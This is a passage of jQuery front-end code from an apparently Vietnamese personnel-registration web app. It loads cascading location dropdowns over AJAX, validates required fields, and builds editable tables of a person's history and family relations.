optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].cityId == cityId && cityId != "") { optionStr += "<option value='" + returnedJsonData[i].cityId + "' selected = 'selected'>" + returnedJsonData[i].cityName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].cityId + "'>" + returnedJsonData[i].cityName + "</option>"; } } $("#cbbCityPopup").prop("disabled", false); $("#cbbDistrictPopup").prop("disabled", false); $("#cbbWardsPopup").prop("disabled", false); $("#cbbTownPopup").prop("disabled", false); $("#cbbCityPopup").empty().append(optionStr); if (cityId == "") { loadDistrictDataByCityIdEdit(""); } } else { // reset empty combobox and disabled $("#cbbCityPopup").empty().append(optionStr).prop("disabled", true); $("#cbbDistrictPopup").empty().append(optionStr).prop("disabled", true); $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbCityPopup").empty(); $("#cbbDistrictPopup").empty(); $("#cbbWardsPopup").empty(); $("#cbbTownPopup").empty(); // disable combobox $("#cbbCityPopup").prop("disabled", true); $("#cbbDistrictPopup").prop("disabled", true); $("#cbbWardsPopup").prop("disabled", true); $("#cbbTownPopup").prop("disabled", true); $("#cbbGroupsPopup").empty().prop("disabled", true); } } function loadDistrictDataByCityIdEdit(districtId) { var selectedCountryId = ""; selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCityPopup").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getDistrictDataByCityId", data: { "countryId": selectedCountryId, "cityId": selectCityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (districtId == returnedJsonData[i].districtId) { optionStr += "<option value='" + returnedJsonData[i].districtId + "' selected = 'selected'>" + returnedJsonData[i].districtName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].districtId + "'>" + returnedJsonData[i].districtName + "</option>"; } } $("#cbbDistrictPopup").prop("disabled", false); $("#cbbWardsPopup").prop("disabled", false); $("#cbbTownPopup").prop("disabled", false); $("#cbbDistrictPopup").empty().append(optionStr); if (districtId == "") { loadWardsDataByDistrictId(""); } } else { $("#cbbDistrictPopup").empty().append(optionStr).prop("disabled", true); $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear & disable combobox $("#cbbDistrictPopup").empty().append(optionStr).prop("disabled", true); $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } } function loadWardsDataByDistrictIdEdit(wardsId) { var selectedCountryId = ""; selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCityPopup").find("option:selected").val(); // get District var selectDistrictId = "" selectDistrictId = $("#cbbDistrictPopup").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getWardsDataByDistrictId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (wardsId == returnedJsonData[i].wardsId) { optionStr += "<option value='" + returnedJsonData[i].wardsId + "' selected = 'selected'>" + returnedJsonData[i].wardsName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].wardsId + "'>" + returnedJsonData[i].wardsName + "</option>"; } } $("#cbbWardsPopup").prop("disabled", false); $("#cbbTownPopup").prop("disabled", false); $("#cbbWardsPopup").empty().append(optionStr); if (wardsId == "") { loadTownDataByWardsId(""); } } else { $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } } function loadTownDataByWardsIdEdit(townId) { var selectedCountryId = ""; selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCityPopup").find("option:selected").val(); // get District var selectDistrictId = "" selectDistrictId = $("#cbbDistrictPopup").find("option:selected").val(); // get Wards var selectWardsId = "" selectWardsId = $("#cbbWardsPopup").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getTownDataByWardsId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (townId == returnedJsonData[i].townId) { optionStr += "<option value='" + returnedJsonData[i].townId + "' selected = 'selected'>" + returnedJsonData[i].townName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].townId + "'>" + returnedJsonData[i].townName + "</option>"; } } $("#cbbTownPopup").prop("disabled", false); $("#cbbTownPopup").empty().append(optionStr); if (townId == "") { loadGroupsDataByTownId(""); } } else { $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); } } function loadGroupsDataByTownIdEdit(groupId) { var selectedCountryId = ""; selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCityPopup").find("option:selected").val(); // get District var selectDistrictId = "" selectDistrictId = $("#cbbDistrictPopup").find("option:selected").val(); // get Wards var selectWardsId = "" selectWardsId = $("#cbbWardsPopup").find("option:selected").val(); // get Town var selectTownId = "" selectTownId = $("#cbbTownPopup").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getGroupsDataByTownId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId, "townId" : selectTownId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (groupId == returnedJsonData[i].groupsId) { optionStr += "<option value='" + returnedJsonData[i].groupsId + "' selected = 'selected'>" + returnedJsonData[i].groupsName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].groupsId + "'>" + returnedJsonData[i].groupsName + "</option>"; } } $("#cbbGroupsPopup").prop("disabled", false); $("#cbbGroupsPopup").empty().append(optionStr); } else { $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } } // Get data for combobox country function initComboboxData(isPopupMode) { isPopupMode = isPopupMode; $("#btnExport").addClass("disabled"); // country if (countryData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < countryData.length; i++) { if (i == 0) { optionStr += "<option value='" + countryData[i].countryId + "' selected = 'selected'>" + countryData[i].countryName + "</option>"; $('#textCountryName').text(countryData[i].countryName); } else { optionStr += "<option value='" + countryData[i].countryId + "'>" + countryData[i].countryName + "</option>"; } } if (isPopupMode) { $("#cbbCountryPopup").empty() $("#cbbCountryPopup").append(optionStr); $("#cbbPlaceOfBirth").empty() $("#cbbPlaceOfBirth").append(optionStr); loadCityDataCombobox(true); } else { $("#cbbCountry").empty() $("#cbbCountry").append(optionStr); loadCityDataCombobox(false); } } else { if (isPopupMode) { $("#cbbCountryPopup").empty() $("#cbbCountryPopup").prop("disabled", true); $("#cbbPlaceOfBirth").empty() $("#cbbPlaceOfBirth").prop("disabled", true); } else { $("#cbbCountry").empty() $("#cbbCountry").prop("disabled", true); } } // Cate if (cateData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < cateData.length; i++) { optionStr += "<option value='" + cateData[i].cateId + "'>" + cateData[i].cateName + "</option>"; } if (isPopupMode) { $("#cbbCatePopup").empty() $("#cbbCatePopup").append(optionStr); } else { $("#cbbCate").empty() $("#cbbCate").append(optionStr); } } else { if (isPopupMode) { $("#cbbCatePopup").empty() $("#cbbCatePopup").prop("disabled", true); } else { $("#cbbCate").empty() $("#cbbCate").prop("disabled", true); } } // Status if (statusData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < statusData.length; i++) { optionStr += "<option value='" + statusData[i].statusId + "'>" + statusData[i].statusName + "</option>"; } if (isPopupMode) { $("#cbbStatusPopup").empty() $("#cbbStatusPopup").append(optionStr); } else { $("#cbbStatus").empty() $("#cbbStatus").append(optionStr); } } else { if (isPopupMode) { $("#cbbStatusPopup").empty() $("#cbbStatusPopup").prop("disabled", true); } else { $("#cbbStatus").empty() $("#cbbStatus").prop("disabled", true); } } // Education if (eduactionData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < eduactionData.length; i++) { if (i == 0) { optionStr += "<option value='" + eduactionData[i].educationId + "' selected = 'selected'>" + eduactionData[i].level + "</option>"; } else { optionStr += "<option value='" + eduactionData[i].educationId + "'>" + eduactionData[i].level + "</option>"; } } if (isPopupMode) { $("#cbbEducationPopup").empty() $("#cbbEducationPopup").append(optionStr); loadUniversityDataByeducationId(true); } else { $("#cbbEducation > ").empty() $("#cbbEducation").append(optionStr); loadUniversityDataByeducationId(false); } } else { if (isPopupMode) { $("#cbbEducationPopup").empty() $("#cbbEducationPopup").prop("disabled", true); } else { $("#cbbEducation").empty() $("#cbbEducation").prop("disabled", true); } } // University /*if (universityData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < universityData.length; i++) { optionStr += "<option value='" + universityData[i].universityId + "'>" + universityData[i].universityName + "</option>"; } // check popup show if (isPopupMode) { $("#cbbUniversityPopup").empty(); $("#cbbUniversityPopup").append(optionStr); loadSpecializedDataByUniverisityId(true); } else { $("#cbbUniversity").empty(); $("#cbbUniversity").append(optionStr); loadSpecializedDataByUniverisityId(false); } } else { // check popup show if (isPopupMode) { $("#cbbUniversity").empty(); $("#cbbUniversity").prop("disabled", true); } else { $("#cbbUniversityPopup").empty(); $("#cbbUniversityPopup").prop("disabled", true); } }*/ } // Reset search conditions process function resetSearchConditions() { $("#txtCriteriaIdPopup").val(""); $("#txtCriteriaNamePopup").val(""); $("#chbDeletePopup").val(STATUS_NO_SELECT); } // Check input: blank fields function checkInputBlankFields() { var checkedFlag = false; if ($("#txtKskQuanStt").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +KSKQUANSTT + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); $("#lblKskQuanStt").css("color","red"); checkedFlag = false; } else if ($("#txtLltnStt").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +LLTNSTT + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#txtPersonNamePopup").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +PERSON_NAME + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#txtIdentityCardPopup").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +IDENTITY_CARD + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#txtPermanentAddressPopup").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +PERMANENT_ADDRESS + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#txtTemporaryResidenceAddressPopup").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +TEMPORARY_RESIDENCE_ADDRESS + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#txtPhonePopup").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +PHONE + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#cbbEducationPopup").val() == STATUS_NO_SELECT) { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +LEVEL + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#cbbCountryPopup").val() == STATUS_NO_SELECT) { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +COUNTRY_NAME + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#cbbCityPopup").val() == STATUS_NO_SELECT) { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +CITY_NAME + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#cbbDistrictPopup").val() == STATUS_NO_SELECT) { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +DISTRICT_NAME + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#cbbWardsPopup").val() == STATUS_NO_SELECT) { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +WARDS_NAME + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#cbbTownPopup").val() == STATUS_NO_SELECT) { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +TOWN_NAME + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if ($("#cbbGroupsPopup").val() == STATUS_NO_SELECT) { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +GROUPS_NAME + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } /*else if ($("#txtNumberOfRelation").val() == '') { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE + " (" +NUMBER_OF_RELATION + ")", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; } else if (reportDetailReportIdStr == '') { jWarning("Bạn chưa thiết lập ghi chú cho mẫu báo cáo!", DIALOG_TITLE, DIALOG_OK_BUTTON); checkedFlag = false; }*/ else { $("label").css("color","#000"); checkedFlag = true; } //setLabel(); return checkedFlag; } /******************************************** * Load Popup 0047 *******************************************/ var btnComfirmProcessYourseltClicked = false; var btnComfirmRelationClicked = false; var processYoursellStr = ""; // check event click button $(document).on("click","#btnRegisterPopupProcess", function(){ // count quality row of table Process var countTrProcessYoursell = $('#divBodyProcess > #tblBodyProcess > tbody > tr').length; for (var i = 1; i <= countTrProcessYoursell; i++) { // count quality cell of row i processYoursellStr = processYoursellStr + $("#divBodyProcess > #tblBodyProcess > tbody > tr:nth-child("+i+")" ).attr("id") + ":"; var countTdProcessYoursell = $("#divBodyProcess > #tblBodyProcess > tbody > tr:nth-child("+i+") td" ).length; for (var j = 0; j < countTdProcessYoursell; j++) { // check <td> in table has empty. var textOfTd = $("#divBodyProcess > #tblBodyProcess > tbody > tr:nth-child("+i+")").find("td").eq(j).text() // get fromYear & ToYear var fromYear = $("#divBodyProcess > #tblBodyProcess > tbody > tr:nth-child("+i+")").find("td").eq(0).text(); var toYear = $("#divBodyProcess > #tblBodyProcess > tbody > tr:nth-child("+i+")").find("td").eq(1).text() if ( textOfTd == "") { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); processYoursellStr = ''; break; } else { // check fromYear < ToYear if (fromYear > toYear) { jWarning(FROM_YEAR_IS_MUST_SMALL_TO_YEAR, DIALOG_TITLE, DIALOG_OK_BUTTON); processYoursellStr = ''; break; } else { btnComfirmProcessYourseltClicked = true; // if j = quality of Td in tr if (j == countTdProcessYoursell - 1) { processYoursellStr += textOfTd + "," } else { processYoursellStr += textOfTd + ":" } } } } } // display-none btnNumberOfRelation if (processYoursellStr != '') { if (currentMode == MODE_NEW) { $(this).data('clicked', true); $.ajax({ type: "POST", url: "insertProcessPerson", data: { "processYoursellStr": processYoursellStr, "personId": personId}, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { if (returnedJsonData == INSERT_RESULT_SUCCESSFUL) { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + INSERT_RESULT_SUCCESSFUL_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_DUPLICATED) { // duplicated cate id // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_DUPLICATED_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }) } else if (currentMode == MODE_EDIT) { $.ajax({ type: "POST", url: "updateProcessPerson", data: { "processYoursellStr": processYoursellStr, "personId": personId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + UPDATE_RESULT_SUCCESSFUL_MESSAGE); } } }) } } }); var personId = ""; $(document).on("click", ".btnProcessOfYourSelt", function() { processYoursellStr = ""; // get row index personId = $(this).attr("id"); selectedRowIndex = $(this).attr("name"); $(".processOfYourSelt").load(rootPath + "/0047/?personId="+personId); setTimeout(function() { drawTableProcessEdit(personId); $("#divBodyProcess").width($("#divHeadProcess").width() + 2); }, 1000); $("#divBodyProcess").width($("#divHeadProcess").width() + 2); }); var d = new Date(); var yearNow = d.getFullYear(); var yearArr = []; for (var i = 1970; i >= 1970 && i <= yearNow; i++) { yearArr.push(i); } $(document).on("dblclick", ".setYear", function() { if (!btnComfirmProcessYourseltClicked) { var width = $(this).width(); var optionStr = "<select class = 'cbbChangeText form-control' type = 'text' style = 'width:"+width+";'><option value = "+STATUS_NO_SELECT+"></option>"; for (var i = 0; i < yearArr.length; i++) { if (selectedYearStr == yearArr[i]) { optionStr += "<option value = '"+yearArr[i]+"' selected = 'selected'>"+yearArr[i]+"</option>"; } else { optionStr += "<option value = '"+yearArr[i]+"'>"+yearArr[i]+"</option>"; } } optionStr += "</select>"; $(this).html(optionStr); } }); $(document).on("click", "#divBodyProcess > #tblBodyProcess > tbody > tr > .filedProcess", function() { if (!btnComfirmProcessYourseltClicked) { var width = $(this).width(); if ($(this).text() != "") { $(this).html("<input class = 'changeText' type = 'text' width = '"+width+"' value = '"+$(this).text()+"' />"); } else { $(this).html("<input class = 'changeText' type = 'text' width = '"+width+"' />"); } $(this).find(".changeText").focus(); } }); $(document).on("focusout", "#divBodyProcess > #tblBodyProcess > tbody > tr > td.filedProcess", function() { if (!btnComfirmProcessYourseltClicked) { var text = $(this).find(".changeText").val(); $(this).text(text); } }); $(document).on("click", "#addProcess", function() { if (!btnComfirmProcessYourseltClicked) { var numberRow = $('#divBodyProcess > #tblBodyProcess > tbody > tr').length +1; var str = '' + numberRow; while (str.length < 3) { str = '0' + str; } var strIdProcess = "PP" + str; // create table starts var tableStringArray = []; var numberRowPlus = numberRow + 1; // row open tag tableStringArray.push("<tr class = 'height34' id='" + strIdProcess + "'>"); // relation tableStringArray.push("<td class = 'align-center setYear '></td>"); // relation tableStringArray.push("<td class = 'align-center setYear'></td>"); // relation tableStringArray.push("<td class = 'align-center filedProcess'></td>"); // row close tag tableStringArray.push("</tr>"); // append all created string to table $("#divBodyProcess > #tblBodyProcess").append(tableStringArray.join('')); } }); // selected Relation var selectedYearStr = ""; $(document).on("focusout", ".setYear", function() { if (!btnComfirmProcessYourseltClicked) { var text = $(this).find(".cbbChangeText").find('option:selected').text(); selectedYearStr = text; $(this).text(text); } }); $(document).on('keydown', "#tblBodyProcess > tbody > tr > td", function(event) { if(event.keyCode == 9){ //for tab key var currentDiv = event.target; $(currentDiv).next("td").click(); } }); $(document).on('click', '#btnEditProcessYourselt', function(e) { btnComfirmProcessYourseltClicked = false; $(this).addClass('display-none'); $(this).parent().find("#btnRegisterPopupProcess").removeClass("display-none"); }); function drawTableProcessEdit(personId) { // clear table $("#divBodyProcess > #tblBodyProcess").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); $.ajax({ type: "POST", url: "getProcessEdit", data: { "PersonId": personId }, async: false, success: function(returnedJsonData) { if (returnedJsonData.length > 0) { for (var i = 0; i < returnedJsonData.length; i++) { // row open tag tableStringArray.push("<tr class = 'height34' id='" + returnedJsonData[i].processPersonId + "'>"); // relation tableStringArray.push("<td style='width: 10%;' class = 'align-center setYear '>"+returnedJsonData[i].fromYear+"</td>"); // relation tableStringArray.push("<td style='width: 10%;' class = 'align-center setYear'>"+returnedJsonData[i].toYear+"</td>"); // relation tableStringArray.push("<td class = 'align-center filedProcess'>"+returnedJsonData[i].content+"</td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#divBodyProcess > #tblBodyProcess").append(tableStringArray.join('')); // show search result $(".cont-box").removeClass("display-none"); $("#divHeadProcess").removeClass("display-none"); // fix table header and body when scrolling only the table body fixTable(); // scroll to top of table $("#divBodyProcess").scrollTop(0).scrollLeft(0); btnComfirmProcessYourseltClicked = true; // display-none button $("#btnEditProcessYourselt").removeClass("display-none"); currentMode = MODE_EDIT; } else { drawTable0047(); currentMode = MODE_NEW; btnComfirmProcessYourseltClicked = false; // display-none button $("#btnEditProcessYourselt").addClass("display-none"); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }) } function drawTable0047() { // clear table $("#divBodyProcess > #tblBodyProcess").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < 1; i++) { // row open tag tableStringArray.push("<tr class = 'height34' id='row" + i + "'>"); // relation tableStringArray.push("<td style='width: 10%;' class = 'align-center setYear '></td>"); // relation tableStringArray.push("<td style='width: 10%;' class = 'align-center setYear'></td>"); // relation tableStringArray.push("<td class = 'align-center filedProcess'></td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#divBodyProcess > #tblBodyProcess").append(tableStringArray.join('')); // show search result $(".cont-box").removeClass("display-none"); $("#divHeadProcess").removeClass("display-none"); // fix table header and body when scrolling only the table body fixTable(); // scroll to top of table $("#divBodyProcess").scrollTop(0).scrollLeft(0); } /** * Thêm Thông tin quá trình bản thân của thanh niên */ $(document).on("click", "btnRegisterPopupProcess", function(){ }); /********************************************** * 0045 * ********************************************/ var relationStr = ""; $(document).on("click", ".btnNumberOfRelation", function() { relationStr = ""; // get row index personId = $(this).attr("id"); var numberOfRelation = $("#txtNumberOfRelation").val(); selectedRowIndex = $(this).attr("name"); $(".relationContent").load(rootPath + "/0045/?numberOfRelation="+0); setTimeout(function() { // reset variables // draw table drawResult = drawTable0045Edit(); $("#divBodyRelation").width($("#divHead").width()); }, 1000); $("#lblNumberOfRelation").addClass("display-none"); $("#txtNumberOfRelation").addClass("display-none"); $("#divBodyRelation").width($("#divHeadRelation").width()); }); $(document).on('click', '#btnEditRelation', function(e) { btnComfirmRelationClicked = false; $(this).addClass('display-none'); $(this).parent().find("#btnRegisterPopupRelation").removeClass("display-none"); }); var relationArr = ['Cha', 'Mẹ', 'Anh', 'Chị', 'Em', 'Vợ', 'Con']; $(document).on("dblclick", "tbody > tr > .relation", function() { if (!btnComfirmRelationClicked) { var width = $(this).width(); var optionStr = "<select class = 'cbbChangeText form-control' type = 'text' style = 'width:"+width+";'><option value = "+STATUS_NO_SELECT+"></option>"; for (var i = 0; i < relationArr.length; i++) { if (selectedRelationStr == relationArr[i]) { optionStr += "<option value = '"+relationArr[i]+"' selected = 'selected'>"+relationArr[i]+"</option>"; } else { optionStr += "<option value = '"+relationArr[i]+"'>"+relationArr[i]+"</option>"; } } optionStr += "</select>"; $(this).html(optionStr); } }); $(document).on("click", "tbody > tr > .filed", function() { if (!btnComfirmRelationClicked) { var width = $(this).width(); if ($(this).text() != "") { $(this).html("<input class = 'changeText' type = 'text' width = '"+width+"' value = '"+$(this).text()+"' />"); } else { $(this).html("<input class = 'changeText' type = 'text' width = '"+width+"' />"); } $(this).find(".changeText").focus(); } }); $(document).on("focusout", "tbody > tr > td.filed", function() { if (!btnComfirmRelationClicked) { var text = $(this).find(".changeText").val(); $(this).text(text); } }); $(document).on("click", "#addNewRelation", function() { if (!btnComfirmRelationClicked) { var numberOfRelation = $('#divBodyRelation > #tblBodyRelation > tbody > tr').length +1; var str = '' + numberOfRelation; while (str.length < 3) { str = '0' + str; } var strIdRelation = "FP" + str; // create table starts var tableStringArray = []; // row open tag tableStringArray.push("<tr class = 'height34' id='" + strIdRelation + "'>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center relation '></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // row close tag tableStringArray.push("</tr>"); // append all created string to table $("#divBodyRelation > #tblBodyRelation").append(tableStringArray.join('')); } }); // selected Relation var selectedRelationStr = ""; $(document).on("focusout", "tbody > tr > .relation", function() { if (!btnComfirmRelationClicked) { var text = $(this).find(".cbbChangeText").val(); selectedRelationStr = text; $(this).text(text); } }); function drawTable0045(numberOfRelation) { if (numberOfRelation > 0) { // clear table $("#divBodyRelation > #tblBodyRelation").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < numberOfRelation; i++) { // row open tag tableStringArray.push("<tr class = 'height34' id='row" + i + "'>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center relation '></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'></td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#divBodyRelation > #tblBodyRelation").append(tableStringArray.join('')); // show search result $("#divHeadRelation").removeClass("display-none"); // fix table header and body when scrolling only the table body fixTable(); // scroll to top of table $("#divBodyRelation").scrollTop(0).scrollLeft(0); } } // function function drawTable0045Edit() { // clear table $("#divBodyRelation > #tblBodyRelation").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); $.ajax({ type: "POST", url: "getRelationShipOfPersonEdit", data: { "PersonId": personId }, async: false, success: function(returnedJsonData) { if (returnedJsonData.length > 0) { for (var i = 0; i < returnedJsonData.length; i++) { // row open tag tableStringArray.push("<tr class = 'height34' id='" + returnedJsonData[i].familyPersonId + "'>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center relation '>" + returnedJsonData[i].relation + "</td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'>" + returnedJsonData[i].status + "</td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'>" + returnedJsonData[i].birthDay + "</td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'>" + returnedJsonData[i].job + "</td>"); // relation tableStringArray.push("<td style='width: 20%' class = 'align-center filed'>" + returnedJsonData[i].workPlace + "</td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#divBodyRelation > #tblBodyRelation").append(tableStringArray.join('')); // show search result $(".cont-box").removeClass("display-none"); $("#divHeadRelation").removeClass("display-none"); // fix table header and body when scrolling only the table body fixTable(); // scroll to top of table 